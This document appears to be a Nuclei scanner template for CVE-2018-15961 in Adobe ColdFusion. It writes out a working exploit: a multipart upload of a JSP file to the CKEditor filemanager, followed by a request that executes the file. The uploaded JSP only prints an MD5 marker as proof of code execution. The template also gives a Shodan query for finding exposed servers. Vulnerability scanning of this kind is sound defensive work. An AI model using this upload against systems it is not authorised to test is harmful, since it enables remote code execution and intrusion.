79 lines
3.0 KiB
YAML
79 lines
3.0 KiB
YAML
id: CVE-2018-15961
|
|
|
|
info:
|
|
name: Adobe ColdFusion - Unrestricted File Upload Remote Code Execution
|
|
author: SkyLark-Lab,ImNightmaree
|
|
severity: critical
|
|
description: Adobe ColdFusion versions July 12 release (2018.0.0.310739), Update 6 and earlier, and Update 14 and earlier have an unrestricted file upload vulnerability. Successful exploitation could lead to arbitrary code execution.
|
|
remediation: |
|
|
Apply the necessary security patches or updates provided by Adobe to fix this vulnerability.
|
|
reference:
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2018-15961
|
|
- https://github.com/xbufu/CVE-2018-15961
|
|
- https://helpx.adobe.com/security/products/coldfusion/apsb18-33.html
|
|
- http://web.archive.org/web/20220309060906/http://www.securitytracker.com/id/1041621
|
|
- http://www.securitytracker.com/id/1041621
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2018-15961
|
|
cwe-id: CWE-434
|
|
epss-score: 0.97447
|
|
epss-percentile: 0.99936
|
|
cpe: cpe:2.3:a:adobe:coldfusion:11.0:-:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: adobe
|
|
product: coldfusion
|
|
shodan-query: http.component:"Adobe ColdFusion"
|
|
tags: cve,cve2018,adobe,rce,coldfusion,fileupload,kev,intrusive
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: multipart/form-data; boundary=---------------------------24464570528145
|
|
|
|
-----------------------------24464570528145
|
|
Content-Disposition: form-data; name="file"; filename="{{randstr}}.jsp"
|
|
Content-Type: image/jpeg
|
|
|
|
<%@ page import="java.util.*,java.io.*"%>
|
|
<%@ page import="java.security.MessageDigest"%>
|
|
<%
|
|
String cve = "CVE-2018-15961";
|
|
MessageDigest alg = MessageDigest.getInstance("MD5");
|
|
alg.reset();
|
|
alg.update(cve.getBytes());
|
|
byte[] digest = alg.digest();
|
|
StringBuffer hashedpasswd = new StringBuffer();
|
|
String hx;
|
|
for (int i=0;i<digest.length;i++){
|
|
hx = Integer.toHexString(0xFF & digest[i]);
|
|
if(hx.length() == 1){hx = "0" + hx;}
|
|
hashedpasswd.append(hx);
|
|
}
|
|
out.println(hashedpasswd.toString());
|
|
%>
|
|
-----------------------------24464570528145
|
|
Content-Disposition: form-data; name="path"
|
|
|
|
{{randstr}}.jsp
|
|
-----------------------------24464570528145--
|
|
- |
|
|
GET /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/{{randstr}}.jsp HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- "ddbb3e76f92e78c445c8ecb392beb225" # MD5 of CVE-2018-15961
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4b0a004830460221009d79bd5cab5ebf4b3314d4516289a0040cefc8d8bec96476caef003732bdbb9b022100df34e16d36667450f1eb9a3f2e06778cd9986d2528a47d68bc61e38a8e54b4a3:922c64590222798bb761d5b6d8e72950
|